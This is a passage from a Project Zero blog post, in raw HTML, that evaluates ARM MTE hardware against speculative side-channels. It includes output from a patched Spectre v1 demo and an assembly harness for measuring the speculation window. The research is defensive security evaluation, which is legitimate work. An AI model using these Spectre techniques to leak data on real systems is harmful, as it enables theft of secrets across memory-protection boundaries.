0}ul.lst-kix_cm1sbgja1sfy-5{list-style-type:none}ul.lst-kix_cm1sbgja1sfy-4{list-style-type:none}li.li-bullet-0:before{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}ul.lst-kix_cm1sbgja1sfy-7{list-style-type:none}.lst-kix_w66ctsc8735u-3>li{counter-increment:lst-ctn-kix_w66ctsc8735u-3}ul.lst-kix_cm1sbgja1sfy-6{list-style-type:none}ol.lst-kix_7336pfhg38rf-3.start{counter-reset:lst-ctn-kix_7336pfhg38rf-3 0}ol.lst-kix_w66ctsc8735u-4.start{counter-reset:lst-ctn-kix_w66ctsc8735u-4 0}.lst-kix_7336pfhg38rf-4>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-4,lower-latin) ". "}.lst-kix_s8b3u49h11dr-0>li:before{content:"- "}.lst-kix_s8b3u49h11dr-2>li:before{content:"- "}.lst-kix_7336pfhg38rf-6>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-6,decimal) ". "}ol{margin:0;padding:0}table td,table th{padding:0}.LtslleXhTC-c30{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:468pt;border-top-color:#e0e0e0;border-bottom-style:solid}.LtslleXhTC-c6{color:#9c27b0;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:10pt;font-family:Consolas,"Courier New";font-style:normal}.LtslleXhTC-c39{padding-top:18pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;text-align:left}.LtslleXhTC-c15{padding-top:16pt;padding-bottom:4pt;line-height:1.5;page-break-after:avoid;text-align:left}.LtslleXhTC-c41{padding-top:0pt;padding-bottom:16pt;line-height:1.5;page-break-after:avoid;text-align:left}.LtslleXhTC-c40{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:justify}.LtslleXhTC-c23{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.LtslleXhTC-c5{font-size:10pt;font-family:Consolas,"Courier New";color:#ff00ff;font-weight:700}.LtslleXhTC-c49{text-decoration:none;vertical-align:baseline;font-size:10pt;font-style:italic}.LtslleXhTC-c51{padding-top:0pt;padding-bottom:3pt;line-height:1.5;text-align:left}.LtslleXhTC-c9{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.LtslleXhTC-c2{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:left}.LtslleXhTC-c46{padding-top:18pt;padding-bottom:6pt;line-height:1.38;text-align:left}.LtslleXhTC-c8{border-spacing:0;border-collapse:collapse;margin-right:auto}.LtslleXhTC-c25{padding-top:0pt;padding-bottom:10pt;line-height:1.5;text-align:left}.LtslleXhTC-c4{font-size:10pt;font-family:Consolas,"Courier New";color:#000000;font-weight:400}.LtslleXhTC-c1{font-size:10pt;font-family:Consolas,"Courier New";color:#616161;font-weight:400}.LtslleXhTC-c34{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.LtslleXhTC-c37{background-color:#ffffff;margin-left:72pt;padding-left:0pt}.LtslleXhTC-c32{font-size:10pt;font-family:"Roboto Mono";font-weight:400}.LtslleXhTC-c12{text-decoration:none;vertical-align:baseline;font-style:normal}.LtslleXhTC-c50{text-decoration:none;vertical-align:baseline;font-style:italic}.LtslleXhTC-c10{font-size:10pt;font-family:Consolas,"Courier New";font-weight:400}.LtslleXhTC-c11{orphans:2;widows:2}.LtslleXhTC-c0{font-weight:400;font-family:"Google Sans"}.LtslleXhTC-c29{font-weight:700;font-family:"Google Sans"}.LtslleXhTC-c52{font-weight:400;font-family:"Roboto Mono"}.LtslleXhTC-c42{color:#666666;font-size:15pt}.LtslleXhTC-c45{font-family:Consolas,"Courier New";font-weight:400}.LtslleXhTC-c14{padding:0;margin:0}.LtslleXhTC-c20{font-weight:400;font-family:"Arial"}.LtslleXhTC-c24{color:#000000;font-size:16pt}.LtslleXhTC-c27{color:#000000;font-size:9pt}.LtslleXhTC-c22{margin-left:36pt;padding-left:0pt}.LtslleXhTC-c16{color:#000000;font-size:11pt}.LtslleXhTC-c19{color:inherit;text-decoration:inherit}.LtslleXhTC-c33{color:#434343;font-size:14pt}.LtslleXhTC-c31{border:1px solid black;margin:5px}.LtslleXhTC-c7{height:11pt}.LtslleXhTC-c26{background-color:#fafafa}.LtslleXhTC-c36{vertical-align:super}.LtslleXhTC-c48{text-indent:36pt}.LtslleXhTC-c18{color:#9c27b0}.LtslleXhTC-c47{color:#ff00ff}.LtslleXhTC-c43{page-break-after:avoid}.LtslleXhTC-c3{height:0pt}.LtslleXhTC-c21{color:#0d904f}.LtslleXhTC-c44{background-color:#ffffff}.LtslleXhTC-c53{font-size:26pt}.LtslleXhTC-c13{color:#c53929}.LtslleXhTC-c38{color:#3367d6}.LtslleXhTC-c35{color:#000000}.LtslleXhTC-c17{color:#455a64}.LtslleXhTC-c28{color:#0f9d58}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:0pt;color:#000000;font-size:9pt;padding-bottom:0pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="c34 doc-content">
<p class="LtslleXhTC-c11 LtslleXhTC-c40"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">By Mark Brand, Project Zero</span></p><h2 class="LtslleXhTC-c46 LtslleXhTC-c11 LtslleXhTC-c44" id="h.19gkwk801574"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c24">Background</span></h2>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">In 2018, in the </span><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c191" href="https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/arm-a-profile-architecture-2018-developments-armv85a">v8.5a version</a></span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"> of the ARM architecture, ARM proposed a hardware implementation of tagged memory, referred to as MTE (Memory Tagging Extensions).<br></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">Through mid-2022 and early 2023, Project Zero had access to pre-production hardware implementing this instruction set extension to evaluate the security properties of the implementation. In particular, we're interested in whether it's possible to use this instruction set extension to implement effective security mitigations, or whether its use is limited to debugging/fault detection purposes.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">As of the v8.5a specification, MTE can operate in two distinct modes, which are switched between on a per-thread basis. The first mode is sync-MTE, where tag-check failure on a memory access will cause the instruction performing the access to deliver a fault at retirement. The second mode is async-MTE, where tag-check failure does not directly (at the architectural level) cause a fault. Instead, tag-check failure will cause </span><span class="LtslleXhTC-c0">the setting of a per-core flag</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">, which can then be polled from the kernel context to detect when an invalid access has occurred.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">This blog post documents the tests that we have performed so far, and the conclusions that we've drawn from them, <a class="LtslleXhTC-c191" href="https://github.com/googleprojectzero/p0tools/tree/master/MTETest">together with the code necessary to repeat these tests</a>.</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"> This testing was intended to explore both the details of the hardware implementation of MTE, and the current state of the software support for MTE in the Linux kernel. All of the testing is based on manually implemented tagging in statically-linked standalone binaries, so it should be easy to reproduce these results on any compatible hardware.</span></p><h2 class="LtslleXhTC-c11 LtslleXhTC-c44 LtslleXhTC-c46" id="h.1m65rx5mwd6b"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c24">Terminology</span></h2>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c44"><span class="LtslleXhTC-c0">When designing and implementing security features, </span><span class="LtslleXhTC-c0">it's important to be conscious of the specific protection goal</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">. In order to provide clarity in the rest of this post, we'll define some specific terminology that we use when talking about this:<br></span></p><ol class="c14 lst-kix_pmivlm2h8rwq-0 start" start="1"><li style="margin-left: 46pt;" class="c2 c11 c22 c44 li-bullet-0"><span class="LtslleXhTC-c29">Mitigation</span><span class="LtslleXhTC-c0"> - A mitigation is something that </span><span class="LtslleXhTC-c29">reduces real exploitability</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"> of a vulnerability or class of vulnerability. The expectation is that attackers can (and eventually will) find their way around it. Examples would be DEP, ASLR, CFI.</span></li></ol><ol class="c14 lst-kix_pmivlm2h8rwq-1 start" start="1"><li style="margin-left: 46pt;" class="c2 c11 c37 li-bullet-0"><span class="LtslleXhTC-c29">"Soft" Mitigation</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"> - We consider a mitigation to be "soft" if the expectation is that an attacker pays a one-time cost in order to bypass the mitigation. Typically this would be a per-target cost, for example developing a ROP chain to bypass DEP, which can usually be largely re-used between different exploits for the same target software.</span></li><li style="margin-left: 46pt;" class="c2 c37 c11 li-bullet-0"><span class="LtslleXhTC-c29">"Hard" Mitigation</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"> - We consider a mitigation to be "hard" if the expectation is that an attacker cannot develop a bypass technique which is reusable between different vulnerabilities (without, e.g. incorporating an additional vulnerability). An example would be ASLR, which is typically bypassed either by the use of a separate information leak vulnerability, or by developing an information leak primitive using the same vulnerability. </span></li></ol>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c44 LtslleXhTC-c48"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">Note that the context can have an impact on the "hardness" of a mitigation -<br> if a codebase is particularly rich in code-patterns which allow the construction of</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c48 LtslleXhTC-c44"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">information leaks, it's quite possible that an attacker can develop a reliable, reusable</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c48 LtslleXhTC-c44"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">technique for turning various memory corruption primitives into an information leak</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c48 LtslleXhTC-c44"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">within that codebase.</span></p><ol class="c14 lst-kix_pmivlm2h8rwq-0" start="2"><li style="margin-left: 46pt;" class="c2 c11 c22 c44 li-bullet-0"><span class="LtslleXhTC-c29">Solution</span><span class="LtslleXhTC-c0"> - a solution is something that </span><span class="LtslleXhTC-c29">eliminates exploitability</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"> of a vulnerability or class of vulnerability. The expectation is that the only way for an attacker to bypass a solution would be an unintended implementation weakness in the solution.<br></span></li></ol>
<p class="LtslleXhTC-c25 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">For example (based purely on a theoretical implementation of memory tagging):</span></p>
<p class="LtslleXhTC-c11 LtslleXhTC-c25"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"> - Randomly-allocating tags to heap allocations cannot be considered a solution for any class of heap-related memory corruption, since this provides at best probabilistic protection.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c44"><span class="LtslleXhTC-c0"> - Allocating odd and even tags to adjacent heap allocations might theoretically be able to provide a solution for linear heap-buffer overflows.</span></p><h2 class="LtslleXhTC-c39 LtslleXhTC-c11" id="h.6sk8fz7gzezd"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c24">Hardware Implementation</span></h2>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">The main hardware implementation question we had was, does a speculative side-channel exist that would allow leaking whether or not a tag-check has succeeded, without needing to architecturally execute the tag-check?</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">It is expected that Spectre-type speculative execution side-channels will still allow an attacker to leak pointer values from memory, indirectly leaking the tags. </span><span class="LtslleXhTC-c0">Here we consider whether the</span><span class="LtslleXhTC-c0"> implementatio</span><span class="LtslleXhTC-c0">n</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"> introduces additional speculative side-channels that would allow an attacker to more efficiently leak tag-check success/failure.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c29">TL; DR; In our testing we did not identify an additional</span><span class="LtslleXhTC-c23 LtslleXhTC-c29 LtslleXhTC-c36"><a class="LtslleXhTC-c19" href="#h.d43f6ia2nolp">1</a></span><span class="LtslleXhTC-c12 LtslleXhTC-c29 LtslleXhTC-c16"> speculative side-channel that would allow such an attack to be performed.</span></p><h3 class="LtslleXhTC-c15 LtslleXhTC-c11" id="h.e13yfykv7x9c"><span class="LtslleXhTC-c0">1. D</span><span class="LtslleXhTC-c0">oes MTE block Spectre? (NO)</span></h3>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">The only way that MTE could </span><span class="LtslleXhTC-c0">prevent exploitation of</span><span class="LtslleXhTC-c0"> Spectre-type weaknesses would be to have speculative execution stall the pipeline until the </span><span class="LtslleXhTC-c0">tag-check </span><span class="LtslleXhTC-c0">completes</span><span class="LtslleXhTC-c23 LtslleXhTC-c0 LtslleXhTC-c36"><a class="LtslleXhTC-c19" href="#h.8v9sdwwdtqt">2</a></span><span class="LtslleXhTC-c0">. This might sound desirable ("prevent exploitation of Spectre-type weaknesses") but it's not - this would create a much stronger side-channel to allow an attacker to create an oracle for tag-check success, weakening the overall security properties of the MTE implementation.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">This is easy to test. If we can still leak data out of speculative execution using Spectre when the pointer used for the speculative access has an incorrect tag, then this is not the case.<br></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">We wrote a </span><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c191" href="https://github.com/googleprojectzero/p0tools/blob/master/MTETest/0001-Add-MTE-spectre-test.patch">small patch</a></span><span class="LtslleXhTC-c0"> to the </span><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c191" href="https://github.com/google/safeside">safeside</a></span><span class="LtslleXhTC-c0"> demo </span><span class="LtslleXhTC-c21 LtslleXhTC-c45">spectre_v1_pht_sa</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"> that demonstrates this:</span></p><a id="t.0814a55e2d7066eec1c776f4e5cc266c3993aa3f"></a><a id="t.0"></a><table class="LtslleXhTC-c8"><tr class="LtslleXhTC-c3"><td class="LtslleXhTC-c30 LtslleXhTC-c26" colspan="1" rowspan="1">
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10">mte_device</span><span class="LtslleXhTC-c10">:</span><span class="LtslleXhTC-c10">/data/</span><span class="LtslleXhTC-c10">local</span><span class="LtslleXhTC-c10">/</span><span class="LtslleXhTC-c10">tmp $ </span><span class="LtslleXhTC-c10">./</span><span class="LtslleXhTC-c4 LtslleXhTC-c12">spectre_v1_pht_sa_mte</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10">Leaking</span><span class="LtslleXhTC-c10"> the </span><span class="LtslleXhTC-c10">string</span><span class="LtslleXhTC-c10">:</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10">1t</span><span class="LtslleXhTC-c10">'s a s3kr3t!!!</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10">Done!</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10">Checking that we would crash during architectural access:</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10">Segmentation fault </span></p></td></tr></table><h3 class="LtslleXhTC-c15 LtslleXhTC-c11" id="h.w0yvst1srjvi"><span class="LtslleXhTC-c0">2. </span><span class="LtslleXhTC-c0">Does tag-check success/failure have a measurable impact on the speculation window length? (Probably NOT)</span></h3>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">There is a deeper question that we'd like to understand: is the length of speculative execution after a memory access influenced by whether the tag-check for that access succeeds or fails? If this was the case, then we might be able to build a more complex speculative side-channel that we could use in a similar way.<br><br>In order to measure this, we need to force a mis-speculation, and then perform a read access to memory for which a tag-check would either succeed or fail, and then we need to use a speculative side-channel to measure how many further instructions were successfully speculatively executed. We wrote and tested a self-contained harness to measure this, which can be found in </span><span class="LtslleXhTC-c45">speculation_window.c</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">This harness works by generating code for a test function with a variable number of no-op instructions at runtime, and then repeatedly executing this test function in a loop to train the branch-predictor before finally triggering mis-speculation. The test function is as follows:</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c20 LtslleXhTC-c16"></span></p><a id="t.d26d48d2ecf391a13cfd9854526cfa9fc9c4578d"></a><a id="t.1"></a><table class="LtslleXhTC-c8"><tr class="LtslleXhTC-c3"><td class="LtslleXhTC-c30 LtslleXhTC-c26" colspan="1" rowspan="1">
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">ldr</span><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c10">x0</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c1">[</span><span class="LtslleXhTC-c4">x0</span><span class="LtslleXhTC-c1">]</span><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c12 LtslleXhTC-c10 LtslleXhTC-c21">; this load is slow (*x0 is uncached)</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">cbnz</span><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c10">x0</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c4"> speculation</span><span class="LtslleXhTC-c1">:</span><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c12 LtslleXhTC-c10 LtslleXhTC-c21">; this branch is always taken during warmup</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c6">ret</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c7"><span class="LtslleXhTC-c4 LtslleXhTC-c12"></span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4">speculation</span><span class="LtslleXhTC-c1">:</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">ldr</span><span class="LtslleXhTC-c4"> x1</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c1">[</span><span class="LtslleXhTC-c4">x1</span><span class="LtslleXhTC-c1">]</span><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c12 LtslleXhTC-c10 LtslleXhTC-c21">; this load is fast (*x1 is cached)</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c12 LtslleXhTC-c10 LtslleXhTC-c21"> ; the tag-check success or fail will happen on</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c12 LtslleXhTC-c10 LtslleXhTC-c21"> ; this access, but during warmup the tag-check </span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c12 LtslleXhTC-c10 LtslleXhTC-c21"> ; will always be a success.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c7"><span class="LtslleXhTC-c4 LtslleXhTC-c12"></span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">orr</span><span class="LtslleXhTC-c4"> x2</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c4"> x2</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c4"> x1 </span><span class="LtslleXhTC-c12 LtslleXhTC-c10 LtslleXhTC-c21">; this is a no-op (as x1 is always 0) but it</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c12 LtslleXhTC-c10 LtslleXhTC-c21">... n times ... ; maintains a data dependency between the</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">orr</span><span class="LtslleXhTC-c4"> x2</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c4"> x2</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c4"> x1 </span><span class="LtslleXhTC-c12 LtslleXhTC-c10 LtslleXhTC-c21">; loads (and the no-ops), hopefully preventing</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c12 LtslleXhTC-c10 LtslleXhTC-c21">; too much re-ordering.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c7"><span class="LtslleXhTC-c4 LtslleXhTC-c12"></span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">ldr</span><span class="LtslleXhTC-c4"> x2</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c1">[</span><span class="LtslleXhTC-c4">x2</span><span class="LtslleXhTC-c1">]</span><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c12 LtslleXhTC-c10 LtslleXhTC-c21">; *x2 is uncached, if it is cached later then</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c12 LtslleXhTC-c10 LtslleXhTC-c21">; this instruction was (probably) executed.</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4"> </span><span class="LtslleXhTC-c6">ret</span></p></td></tr></table>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span><br></span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">In this way we can measure the number of no-ops that we can insert before the final load no longer executes (ie. the result from the first load is received and we realise that we've mispredicted the branch so we flush the pipeline before the final load is executed).</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">In order to reduce bias due to branch-predictor </span><span class="LtslleXhTC-c0">behaviour</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">, the test program is run separately for the tag-check success and tag-check failure case, and the control-flow being run is identical in both cases.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">In order to reduce bias due to cpu power-management/throttling </span><span class="LtslleXhTC-c0">behaviour</span><span class="LtslleXhTC-c0">, each time the test program is run, it collects a single set of samples and then exits. We then run this program repeatedly, and by interleaving the runs for tag-check success and tag-check fail we look to reduce this influence on the results. </span><span class="LtslleXhTC-c0">In addition, the cores are down-clocked to the lowest supported frequency using the standard linux cpu scaling interface, which should reduce the impact of cpu throttling to a minimum.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">Most modern mobile devices also have non-homogenous core designs, with for example a 4+4, 2+2+4 or 1+3+4 core design. Since the device under test is no exception, the program needs to pin itself to a specific core and we need to run these tests for each core design separately.</span><span class="LtslleXhTC-c0"><br><br>Reading from the virtual timer is extremely slow (relative to memory access instructions)</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">, and this results in noisy data when attempting to measure single-cache-hit/single-cache-miss. In a normal real-world environment, a shared-memory timer is often a better approach to timing with this level of granularity, and that's an approach that we've used previously with success. In this case, since we want to get data for each core, it was difficult to get consistency across all cores, and we had better results using an amplification approach performing accesses to multiple cache-lines.<br></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">However, this approach adds more complexity to the measuring code, and more possibilities for smart prefetching or similar to interfere with our measurements. Since we are trying to test the properties of the hardware, rather than develop a practical attack that needs to run in a timely fashion, we decided to minimise these risks and instead collect enough data that we'd be able to see the patterns through the noise.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">The first graphs below show this data for a region of the x-axis (nop-count) on each core around where the speculation window ends (so the x-axis is anchored differently for each core), and on the y-axis we plot the observed probability that our measurement results in a cache-miss. Two separate lines are plotted in each graph; one in red for the "tag-check-fail" case and one in green for the "tag-check-pass" case. We can't really see the green line at all - the two lines overlap so closely as to be indistinguishable. </span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMHoNMKuGPvlidYVL_BUOhGiFYegcPW4BPK5erQcRBgrGaGbM4UPEfThNtiYN-EB7c0jBdMcBr8OXGebX3tuEHd581P-6YuQTQAXvu3bt_6ZZn3UpN15InQCZNpu7J6tJKpIQvmIAWXWwg4fnRu5JrrkAfZVwn61YfloEdgHjXNbdC5DX05Z1L_fRx/s1276/image1.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMHoNMKuGPvlidYVL_BUOhGiFYegcPW4BPK5erQcRBgrGaGbM4UPEfThNtiYN-EB7c0jBdMcBr8OXGebX3tuEHd581P-6YuQTQAXvu3bt_6ZZn3UpN15InQCZNpu7J6tJKpIQvmIAWXWwg4fnRu5JrrkAfZVwn61YfloEdgHjXNbdC5DX05Z1L_fRx/s1200/image1.png" border="0" alt="" style="max-height: 750px; max-width: 600px;"title="" /></a></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
